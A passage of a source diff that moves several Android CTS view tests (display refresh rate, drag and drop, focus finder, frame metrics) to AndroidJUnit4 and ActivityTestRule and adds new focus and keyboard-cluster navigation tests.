-        ActivityInstrumentationTestCase2<GLSurfaceViewCtsActivity> {
-
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class DisplayRefreshRateTest {
     // The test passes if
     //   abs(measured_fps - Display.getRefreshRate()) <= FPS_TOLERANCE.
     // A smaller tolerance requires a more accurate measured_fps in order
@@ -48,131 +50,24 @@
 
     private static final String TAG = "DisplayRefreshRateTest";
 
-    private class FpsResult {
-        private float mFps;
-        private boolean mValid = false;
-        private boolean mRestartRequested = false;
+    @Rule
+    public ActivityTestRule<DisplayRefreshRateCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DisplayRefreshRateCtsActivity.class);
 
-        public final synchronized void notifyResult(float fps) {
-            if (!mValid) {
-                mFps = fps;
-                mValid = true;
-                notifyAll();
-            }
-        }
+    private DisplayRefreshRateCtsActivity mActivity;
+    private DisplayRefreshRateCtsActivity.FpsResult mFpsResult;
 
-        public final synchronized float waitResult() {
-            while (!mValid) {
-                try {
-                    wait();
-                } catch (InterruptedException e) {/* ignore and retry */}
-            }
-            return mFps;
-        }
-
-        public synchronized void restart() {
-            mRestartRequested = true;
-            mValid = false;
-        }
-        public synchronized boolean restartNecessary() {
-            return mRestartRequested;
-        }
-        public synchronized void ackRestart() {
-            mRestartRequested = false;
-        }
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mFpsResult = mActivity.getFpsResult();
     }
 
-    private class Renderer implements GLSurfaceView.Renderer {
-        // Measurement knobs.
-        // NB: Some devices need a surprisingly long warmup period before the
-        // framerate becomes stable.
-        private static final float WARMUP_SECONDS = 2.0f;
-        private static final float TEST_SECONDS   = 8.0f;
-
-        // Test states
-        private static final int STATE_START  = 0;
-        private static final int STATE_WARMUP = 1;
-        private static final int STATE_TEST   = 2;
-        private static final int STATE_DONE   = 3;
-
-        private FpsResult mResult;
-        private int       mState     = STATE_START;
-        private float     mStartTime = 0.0f;
-        private int       mNumFrames = 0;
-
-        public Renderer(FpsResult result) {
-            mResult = result;
-        }
-
-        public void onDrawFrame(GL10 gl) {
-            float t = (float)System.nanoTime() * 1.0e-9f;
-            switch (mState) {
-                case STATE_START:
-                    mStartTime = t;
-                    mState = STATE_WARMUP;
-                    break;
-
-                case STATE_WARMUP:
-                    if ((t - mStartTime) >= WARMUP_SECONDS) {
-                        mStartTime = t;
-                        mNumFrames = 0;
-                        mState = STATE_TEST;
-                    }
-                    break;
-
-                case STATE_TEST:
-                    mNumFrames++;
-                    float elapsed = t - mStartTime;
-                    if (elapsed >= TEST_SECONDS) {
-                        mResult.notifyResult((float)mNumFrames / elapsed);
-                        mState = STATE_DONE;
-                    }
-                    break;
-
-                case STATE_DONE:
-                    if (mResult.restartNecessary()) {
-                        mResult.ackRestart();
-                        mState = STATE_START;
-                        Log.d(TAG, "restarting");
-                    }
-                    break;
-            }
-
-            // prevent unwanted optimizations or hidden costs (e.g. reading
-            // previous frame on tilers).
-            gl.glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
-            gl.glClear(gl.GL_COLOR_BUFFER_BIT);
-        }
-
-        public void onSurfaceChanged(GL10 gl, int width, int height) {
-            // Do nothing.
-        }
-
-        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
-            // Do nothing.
-        }
-    }
-
-    private FpsResult mResult;
-
-    public DisplayRefreshRateTest() {
-        super(GLSurfaceViewCtsActivity.class);
-        mResult = new FpsResult();
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        GLSurfaceViewCtsActivity.setRenderer(new Renderer(mResult));
-        GLSurfaceViewCtsActivity.setRenderMode(
-                GLSurfaceView.RENDERMODE_CONTINUOUSLY);
-    }
-
-    public void testRefreshRate() throws java.lang.InterruptedException {
+    @Test
+    public void testRefreshRate() {
         boolean fpsOk = false;
-        GLSurfaceViewCtsActivity activity = getActivity();
 
-        WindowManager wm = (WindowManager)activity
+        WindowManager wm = (WindowManager) mActivity
                 .getView()
                 .getContext()
                 .getSystemService(Context.WINDOW_SERVICE);
@@ -180,21 +75,20 @@
         float claimedFps = dpy.getRefreshRate();
 
         for (int i = 0; i < 3; i++) {
-            float achievedFps = mResult.waitResult();
+            float achievedFps = mFpsResult.waitResult();
             Log.d(TAG, "claimed " + claimedFps + " fps, " +
                        "achieved " + achievedFps + " fps");
             fpsOk = Math.abs(claimedFps - achievedFps) <= FPS_TOLERANCE;
             if (fpsOk) {
                 break;
             } else {
-                // it could be other sctivity like bug report capturing for other failures
+                // it could be other activity like bug report capturing for other failures
                 // sleep for a while and re-try
-                Thread.sleep(10000);
-                mResult.restart();
+                SystemClock.sleep(10000);
+                mFpsResult.restart();
             }
         }
-        activity.finish();
+        mActivity.finish();
         assertTrue(fpsOk);
     }
-
 }
diff --git a/tests/tests/view/src/android/view/cts/DragDropActivity.java b/tests/tests/view/src/android/view/cts/DragDropActivity.java
index b4324e3..e4e4fdc 100644
--- a/tests/tests/view/src/android/view/cts/DragDropActivity.java
+++ b/tests/tests/view/src/android/view/cts/DragDropActivity.java
@@ -16,8 +16,6 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 968dc7b..64c170c 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -16,10 +16,14 @@
 
 package android.view.cts;
 
-import com.android.internal.util.ArrayUtils;
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+import static junit.framework.TestCase.fail;
 
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.content.ClipData;
+import android.content.ClipDescription;
 import android.content.pm.PackageManager;
 import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
@@ -31,21 +35,18 @@
 import android.view.View;
 import android.view.ViewGroup;
 
+import com.android.internal.util.ArrayUtils;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.lang.InterruptedException;
-import java.lang.StringBuilder;
-import java.lang.Thread;
 import java.util.ArrayList;
+import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
-import java.util.Objects;
-
-import static junit.framework.TestCase.*;
 
 @RunWith(AndroidJUnit4.class)
 public class DragDropTest {
@@ -62,12 +63,44 @@
 
     private CountDownLatch mEndReceived;
 
-    static boolean equal(DragEvent ev1, DragEvent ev2) {
+    private static boolean equal(ClipDescription d1, ClipDescription d2) {
+        if ((d1 == null) != (d2 == null)) {
+            return false;
+        }
+        if (d1 == null) {
+            return true;
+        }
+        return d1.getLabel().equals(d2.getLabel()) &&
+                d1.getMimeTypeCount() == 1 && d2.getMimeTypeCount() == 1 &&
+                d1.getMimeType(0).equals(d2.getMimeType(0));
+    }
+
+    private static boolean equal(ClipData.Item i1, ClipData.Item i2) {
+        return Objects.equals(i1.getIntent(), i2.getIntent()) &&
+                Objects.equals(i1.getHtmlText(), i2.getHtmlText()) &&
+                Objects.equals(i1.getText(), i2.getText()) &&
+                Objects.equals(i1.getUri(), i2.getUri());
+    }
+
+    private static boolean equal(ClipData d1, ClipData d2) {
+        if ((d1 == null) != (d2 == null)) {
+            return false;
+        }
+        if (d1 == null) {
+            return true;
+        }
+        return equal(d1.getDescription(), d2.getDescription()) &&
+                Objects.equals(d1.getIcon(), d2.getIcon()) &&
+                d1.getItemCount() == 1 && d2.getItemCount() == 1 &&
+                equal(d1.getItemAt(0), d2.getItemAt(0));
+    }
+
+    private static boolean equal(DragEvent ev1, DragEvent ev2) {
         return ev1.getAction() == ev2.getAction() &&
                 ev1.getX() == ev2.getX() &&
                 ev1.getY() == ev2.getY() &&
-                Objects.equals(ev1.getClipData(), ev2.getClipData()) &&
-                Objects.equals(ev1.getClipDescription(), ev2.getClipDescription()) &&
+                equal(ev1.getClipData(), ev2.getClipData()) &&
+                equal(ev1.getClipDescription(), ev2.getClipDescription()) &&
                 Objects.equals(ev1.getDragAndDropPermissions(), ev2.getDragAndDropPermissions()) &&
                 Objects.equals(ev1.getLocalState(), ev2.getLocalState()) &&
                 ev1.getResult() == ev2.getResult();
@@ -92,8 +125,19 @@
     final private ArrayList<LogEntry> mActual = new ArrayList<LogEntry> ();
     final private ArrayList<LogEntry> mExpected = new ArrayList<LogEntry> ();
 
+    private static ClipDescription createClipDescription() {
+        return new ClipDescription("TestLabel", new String[]{"text/plain"});
+    }
+
+    private static ClipData createClipData() {
+        return new ClipData(createClipDescription(), new ClipData.Item("TestText"));
+    }
+
     static private DragEvent obtainDragEvent(int action, int x, int y, boolean result) {
-        return DragEvent.obtain(action, x, y, null, null, null, null, result);
+        final ClipDescription description =
+                action != DragEvent.ACTION_DRAG_ENDED ? createClipDescription() : null;
+        final ClipData data = action == DragEvent.ACTION_DROP ? createClipData() : null;
+        return DragEvent.obtain(action, x, y, null, description, data, null, result);
     }
 
     private void logEvent(View v, DragEvent ev) {
@@ -269,7 +313,7 @@
             // Start drag.
             View v = mActivity.findViewById(R.id.draggable);
             assertTrue("Couldn't start drag",
-                    v.startDragAndDrop(null, new View.DragShadowBuilder(v), null, 0));
+                    v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
         });
     }
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index d2fa729..ae0b4bf 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -16,12 +16,8 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
-import android.content.Context;
 import android.os.Bundle;
-import android.util.AttributeSet;
 import android.view.ViewGroup;
 import android.widget.Button;
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 6b3b784..a8015ab 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -16,16 +16,31 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.FocusFinder;
+import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
+import android.widget.FrameLayout;
 
-public class FocusFinderTest extends ActivityInstrumentationTestCase2<FocusFinderCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FocusFinderTest {
     private FocusFinder mFocusFinder;
     private ViewGroup mLayout;
     private Button mTopLeft;
@@ -33,32 +48,33 @@
     private Button mBottomLeft;
     private Button mBottomRight;
 
-    public FocusFinderTest() {
-        super("android.view.cts", FocusFinderCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
+            new ActivityTestRule<>(FocusFinderCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        FocusFinderCtsActivity activity = mActivityRule.getActivity();
+
         mFocusFinder = FocusFinder.getInstance();
-        mLayout = getActivity().layout;
-        mTopLeft = getActivity().topLeftButton;
-        mTopRight = getActivity().topRightButton;
-        mBottomLeft = getActivity().bottomLeftButton;
-        mBottomRight = getActivity().bottomRightButton;
+        mLayout = activity.layout;
+        mTopLeft = activity.topLeftButton;
+        mTopRight = activity.topRightButton;
+        mBottomLeft = activity.bottomLeftButton;
+        mBottomRight = activity.bottomRightButton;
         mTopLeft.setNextFocusLeftId(View.NO_ID);
         mTopRight.setNextFocusLeftId(View.NO_ID);
         mBottomLeft.setNextFocusLeftId(View.NO_ID);
         mBottomRight.setNextFocusLeftId(View.NO_ID);
     }
 
+    @Test
     public void testGetInstance() {
-        mFocusFinder = null;
-        mFocusFinder = FocusFinder.getInstance();
         assertNotNull(mFocusFinder);
     }
 
-    public void testFindNextFocus() {
+    @Test
+    public void testFindNextFocus() throws Throwable {
         /*
          * Go clockwise around the buttons from the top left searching for focus.
          *
@@ -68,22 +84,29 @@
          * | 3 | 4 |
          * +---+---+
          */
-        assertNextFocus(mTopLeft, View.FOCUS_RIGHT, mTopRight);
-        assertNextFocus(mTopRight, View.FOCUS_DOWN, mBottomRight);
-        assertNextFocus(mBottomRight, View.FOCUS_LEFT, mBottomLeft);
-        assertNextFocus(mBottomLeft, View.FOCUS_UP, mTopLeft);
+        verifyNextFocus(mTopLeft, View.FOCUS_RIGHT, mTopRight);
+        verifyNextFocus(mTopRight, View.FOCUS_DOWN, mBottomRight);
+        verifyNextFocus(mBottomRight, View.FOCUS_LEFT, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_UP, mTopLeft);
 
-        assertNextFocus(null, View.FOCUS_RIGHT, mTopLeft);
-        assertNextFocus(null, View.FOCUS_DOWN, mTopLeft);
-        assertNextFocus(null, View.FOCUS_LEFT, mBottomRight);
-        assertNextFocus(null, View.FOCUS_UP, mBottomRight);
+        verifyNextFocus(null, View.FOCUS_RIGHT, mTopLeft);
+        verifyNextFocus(null, View.FOCUS_DOWN, mTopLeft);
+        verifyNextFocus(null, View.FOCUS_LEFT, mBottomRight);
+        verifyNextFocus(null, View.FOCUS_UP, mBottomRight);
+
+        // Edge-case where root has focus
+        mActivityRule.runOnUiThread(() -> {
+            mLayout.setFocusableInTouchMode(true);
+            verifyNextFocus(mLayout, View.FOCUS_FORWARD, mTopLeft);
+        });
     }
 
-    private void assertNextFocus(View currentFocus, int direction, View expectedNextFocus) {
+    private void verifyNextFocus(View currentFocus, int direction, View expectedNextFocus) {
         View actualNextFocus = mFocusFinder.findNextFocus(mLayout, currentFocus, direction);
         assertEquals(expectedNextFocus, actualNextFocus);
     }
 
+    @Test
     public void testFindNextFocusFromRect() {
         /*
          * Create a small rectangle on the border between the top left and top right buttons.
@@ -99,8 +122,8 @@
         rect.offset(mTopLeft.getWidth() / 2, 0);
         rect.inset(mTopLeft.getWidth() / 4, mTopLeft.getHeight() / 4);
 
-        assertNextFocusFromRect(rect, View.FOCUS_LEFT, mTopLeft);
-        assertNextFocusFromRect(rect, View.FOCUS_RIGHT, mTopRight);
+        verifytNextFocusFromRect(rect, View.FOCUS_LEFT, mTopLeft);
+        verifytNextFocusFromRect(rect, View.FOCUS_RIGHT, mTopRight);
 
         /*
          * Create a small rectangle on the border between the top left and bottom left buttons.
@@ -115,15 +138,16 @@
         rect.offset(0, mTopRight.getHeight() / 2);
         rect.inset(mTopLeft.getWidth() / 4, mTopLeft.getHeight() / 4);
 
-        assertNextFocusFromRect(rect, View.FOCUS_UP, mTopLeft);
-        assertNextFocusFromRect(rect, View.FOCUS_DOWN, mBottomLeft);
+        verifytNextFocusFromRect(rect, View.FOCUS_UP, mTopLeft);
+        verifytNextFocusFromRect(rect, View.FOCUS_DOWN, mBottomLeft);
     }
 
-    private void assertNextFocusFromRect(Rect rect, int direction, View expectedNextFocus) {
+    private void verifytNextFocusFromRect(Rect rect, int direction, View expectedNextFocus) {
         View actualNextFocus = mFocusFinder.findNextFocusFromRect(mLayout, rect, direction);
         assertEquals(expectedNextFocus, actualNextFocus);
     }
 
+    @Test
     public void testFindNearestTouchable() {
         /*
          * Table layout with two rows and coordinates are relative to those parent rows.
@@ -174,36 +198,37 @@
         assertEquals(-1, deltas[1]);
     }
 
+    @Test
     public void testFindNextAndPrevFocusAvoidingChain() {
         mBottomRight.setNextFocusForwardId(mBottomLeft.getId());
         mBottomLeft.setNextFocusForwardId(mTopRight.getId());
         // Follow the chain
-        assertNextFocus(mBottomRight, View.FOCUS_FORWARD, mBottomLeft);
-        assertNextFocus(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
-        assertNextFocus(mTopRight, View.FOCUS_BACKWARD, mBottomLeft);
-        assertNextFocus(mBottomLeft, View.FOCUS_BACKWARD, mBottomRight);
+        verifyNextFocus(mBottomRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mTopRight, View.FOCUS_BACKWARD, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_BACKWARD, mBottomRight);
 
         // Now go to the one not in the chain
-        assertNextFocus(mTopRight, View.FOCUS_FORWARD, mTopLeft);
-        assertNextFocus(mBottomRight, View.FOCUS_BACKWARD, mTopLeft);
+        verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mTopLeft);
+        verifyNextFocus(mBottomRight, View.FOCUS_BACKWARD, mTopLeft);
 
         // Now go back to the top of the chain
-        assertNextFocus(mTopLeft, View.FOCUS_FORWARD, mBottomRight);
-        assertNextFocus(mTopLeft, View.FOCUS_BACKWARD, mTopRight);
+        verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mBottomRight);
+        verifyNextFocus(mTopLeft, View.FOCUS_BACKWARD, mTopRight);
 
         // Now make the chain a circle -- this is the pathological case
         mTopRight.setNextFocusForwardId(mBottomRight.getId());
         // Fall back to the next one in a chain.
-        assertNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
-        assertNextFocus(mTopLeft, View.FOCUS_BACKWARD, mBottomRight);
+        verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mTopLeft, View.FOCUS_BACKWARD, mBottomRight);
 
         //Now do branching focus changes
         mTopRight.setNextFocusForwardId(View.NO_ID);
         mBottomRight.setNextFocusForwardId(mTopRight.getId());
-        assertNextFocus(mBottomRight, View.FOCUS_FORWARD, mTopRight);
-        assertNextFocus(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mBottomRight, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
         // From the tail, it jumps out of the chain
-        assertNextFocus(mTopRight, View.FOCUS_FORWARD, mTopLeft);
+        verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mTopLeft);
 
         // Back from the head of a tree goes out of the tree
         // We don't know which is the head of the focus chain since it is branching.
@@ -219,4 +244,188 @@
         nextFocus = mFocusFinder.findNextFocus(mLayout, mTopRight, View.FOCUS_BACKWARD);
         assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
     }
+
+    @Test
+    public void testChainVisibility() {
+        mBottomRight.setNextFocusForwardId(mBottomLeft.getId());
+        mBottomLeft.setNextFocusForwardId(mTopRight.getId());
+        mBottomLeft.setVisibility(View.INVISIBLE);
+        View next = mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
+        assertSame(mTopRight, next);
+
+        mBottomLeft.setNextFocusForwardId(View.NO_ID);
+        next = mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
+        assertSame(mTopLeft, next);
+    }
+
+    private void verifyNextCluster(View currentCluster, int direction, View expectedNextCluster) {
+        View actualNextCluster = mFocusFinder.findNextKeyboardNavigationCluster(
+                mLayout, currentCluster, direction);
+        assertEquals(expectedNextCluster, actualNextCluster);
+    }
+
+    private void verifyNextClusterView(View currentCluster, int direction, View expectedNextView) {
+        View actualNextView = mFocusFinder.findNextKeyboardNavigationCluster(
+                mLayout, currentCluster, direction);
+        if (actualNextView == mLayout) {
+            actualNextView =
+                    mFocusFinder.findNextKeyboardNavigationCluster(mLayout, null, direction);
+        }
+        assertEquals(expectedNextView, actualNextView);
+    }
+
+    @Test
+    public void testNoClusters() {
+        // No views are marked as clusters, so next cluster is always null.
+        verifyNextCluster(mTopRight, View.FOCUS_FORWARD, null);
+        verifyNextCluster(mTopRight, View.FOCUS_BACKWARD, null);
+    }
+
+    @Test
+    public void testFindNextCluster() {
+        // Cluster navigation from all possible starting points in all directions.
+        mTopLeft.setKeyboardNavigationCluster(true);
+        mTopRight.setKeyboardNavigationCluster(true);
+        mBottomLeft.setKeyboardNavigationCluster(true);
+
+        verifyNextCluster(null, View.FOCUS_FORWARD, mTopLeft);
+        verifyNextCluster(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextCluster(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextCluster(mBottomLeft, View.FOCUS_FORWARD, mLayout);
+        verifyNextCluster(mBottomRight, View.FOCUS_FORWARD, mLayout);
+
+        verifyNextCluster(null, View.FOCUS_BACKWARD, mBottomLeft);
+        verifyNextCluster(mTopLeft, View.FOCUS_BACKWARD, mLayout);
+        verifyNextCluster(mTopRight, View.FOCUS_BACKWARD, mTopLeft);
+        verifyNextCluster(mBottomLeft, View.FOCUS_BACKWARD, mTopRight);
+        verifyNextCluster(mBottomRight, View.FOCUS_BACKWARD, mLayout);
+    }
+
+    @Test
+    public void testFindNextAndPrevClusterAvoidingChain() {
+        // Basically a duplicate of normal focus test above. The same logic should be used for both.
+        mTopLeft.setKeyboardNavigationCluster(true);
+        mTopRight.setKeyboardNavigationCluster(true);
+        mBottomLeft.setKeyboardNavigationCluster(true);
+        mBottomRight.setKeyboardNavigationCluster(true);
+        mBottomRight.setNextClusterForwardId(mBottomLeft.getId());
+        mBottomLeft.setNextClusterForwardId(mTopRight.getId());
+        // Follow the chain
+        verifyNextCluster(mBottomRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextCluster(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextCluster(mTopRight, View.FOCUS_BACKWARD, mBottomLeft);
+        verifyNextCluster(mBottomLeft, View.FOCUS_BACKWARD, mBottomRight);
+
+        // Now go to the one not in the chain
+        verifyNextClusterView(mTopRight, View.FOCUS_FORWARD, mTopLeft);
+        verifyNextClusterView(mBottomRight, View.FOCUS_BACKWARD, mTopLeft);
+
+        // Now go back to the top of the chain
+        verifyNextClusterView(mTopLeft, View.FOCUS_FORWARD, mBottomRight);
+        verifyNextClusterView(mTopLeft, View.FOCUS_BACKWARD, mTopRight);
+
+        // Now make the chain a circle -- this is the pathological case
+        mTopRight.setNextClusterForwardId(mBottomRight.getId());
+        // Fall back to the next one in a chain.
+        verifyNextClusterView(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextClusterView(mTopLeft, View.FOCUS_BACKWARD, mBottomRight);
+
+        //Now do branching focus changes
+        mTopRight.setNextClusterForwardId(View.NO_ID);
+        mBottomRight.setNextClusterForwardId(mTopRight.getId());
+        assertEquals(mBottomRight.getNextClusterForwardId(), mTopRight.getId());
+        verifyNextClusterView(mBottomRight, View.FOCUS_FORWARD, mTopRight);
+        verifyNextClusterView(mBottomLeft, View.FOCUS_FORWARD, mTopRight);
+        // From the tail, it jumps out of the chain
+        verifyNextClusterView(mTopRight, View.FOCUS_FORWARD, mTopLeft);
+
+        // Back from the head of a tree goes out of the tree
+        // We don't know which is the head of the focus chain since it is branching.
+        View prevFocus1 = mFocusFinder.findNextKeyboardNavigationCluster(mLayout, mBottomLeft,
+                View.FOCUS_BACKWARD);
+        View prevFocus2 = mFocusFinder.findNextKeyboardNavigationCluster(mLayout, mBottomRight,
+                View.FOCUS_BACKWARD);
+        assertTrue(prevFocus1 == mTopLeft || prevFocus2 == mTopLeft);
+
+        // From outside, it chooses an arbitrary head of the chain
+        View nextFocus = mFocusFinder.findNextKeyboardNavigationCluster(mLayout, mTopLeft,
+                View.FOCUS_FORWARD);
+        assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
+
+        // Going back from the tail of the split chain, it chooses an arbitrary head
+        nextFocus = mFocusFinder.findNextKeyboardNavigationCluster(mLayout, mTopRight,
+                View.FOCUS_BACKWARD);
+        assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
+    }
+
+    @Test
+    public void testDuplicateId() throws Throwable {
+        LayoutInflater inflater = mActivityRule.getActivity().getLayoutInflater();
+        mLayout = (ViewGroup) mActivityRule.getActivity().findViewById(R.id.inflate_layout);
+        View[] buttons = new View[3];
+        View[] boxes = new View[3];
+        mActivityRule.runOnUiThread(() -> {
+            for (int i = 0; i < 3; ++i) {
+                View item = inflater.inflate(R.layout.focus_finder_sublayout, mLayout, false);
+                buttons[i] = item.findViewById(R.id.itembutton);
+                boxes[i] = item.findViewById(R.id.itembox);
+                mLayout.addView(item);
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+        verifyNextFocus(buttons[0], View.FOCUS_FORWARD, boxes[0]);
+        verifyNextFocus(boxes[0], View.FOCUS_FORWARD, buttons[1]);
+        verifyNextFocus(buttons[1], View.FOCUS_FORWARD, boxes[1]);
+        verifyNextFocus(boxes[1], View.FOCUS_FORWARD, buttons[2]);
+    }
+
+    @Test
+    public void testBasicFocusOrder() {
+        // Sanity check to make sure sorter is behaving
+        FrameLayout layout = new FrameLayout(mLayout.getContext());
+        Button button1 = new Button(mLayout.getContext());
+        Button button2 = new Button(mLayout.getContext());
+        button1.setLeftTopRightBottom(0, 0, 10, 10);
+        button2.setLeftTopRightBottom(0, 0, 10, 10);
+        layout.addView(button1);
+        layout.addView(button2);
+        View[] views = new View[]{button2, button1};
+        // empty shouldn't crash or anything
+        FocusFinder.sort(views, 0, 0, layout, false);
+        // one view should work
+        FocusFinder.sort(views, 0, 1, layout, false);
+        assertEquals(button2, views[0]);
+        // exactly overlapping views should remain in original order
+        FocusFinder.sort(views, 0, 2, layout, false);
+        assertEquals(button2, views[0]);
+        assertEquals(button1, views[1]);
+        // make sure it will actually mutate input array.
+        button2.setLeftTopRightBottom(20, 0, 30, 10);
+        FocusFinder.sort(views, 0, 2, layout, false);
+        assertEquals(button1, views[0]);
+        assertEquals(button2, views[1]);
+
+        // While we don't want to test details, we should at least verify basic correctness
+        // like "left-to-right" ordering in well-behaved layouts
+        assertEquals(mLayout.findFocus(), mTopLeft);
+        verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
+
+        // Should still work intuitively even if some views are slightly shorter.
+        mBottomLeft.setBottom(mBottomLeft.getBottom() - 3);
+        mBottomLeft.offsetTopAndBottom(3);
+        verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
+
+        // RTL layout should work right-to-left
+        mActivityRule.getActivity().runOnUiThread(
+                () -> mLayout.setLayoutDirection(View.LAYOUT_DIRECTION_RTL));
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
+        verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/FocusHandlingCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusHandlingCtsActivity.java
index 86a1c9e..56fd97b 100644
--- a/tests/tests/view/src/android/view/cts/FocusHandlingCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusHandlingCtsActivity.java
@@ -16,8 +16,6 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index dac3a1922..fbac60f 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -16,56 +16,56 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.cts.util.PollingCheck;
-import android.os.Looper;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.Looper;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.cts.util.ViewTestUtils;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.FrameMetrics;
-import android.view.View;
 import android.view.Window;
 import android.widget.ScrollView;
 
-import java.lang.Thread;
-import java.lang.Exception;
-import java.lang.System;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.concurrent.atomic.AtomicInteger;
 
-public class FrameMetricsListenerTest extends ActivityInstrumentationTestCase2<MockActivity> {
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FrameMetricsListenerTest {
     private Instrumentation mInstrumentation;
-    private Window.OnFrameMetricsAvailableListener mFrameMetricsListener;
     private Activity mActivity;
 
-    public FrameMetricsListenerTest() {
-        super(MockActivity.class);
+    @Rule
+    public ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
+
+    @Before
+    public void setup() {
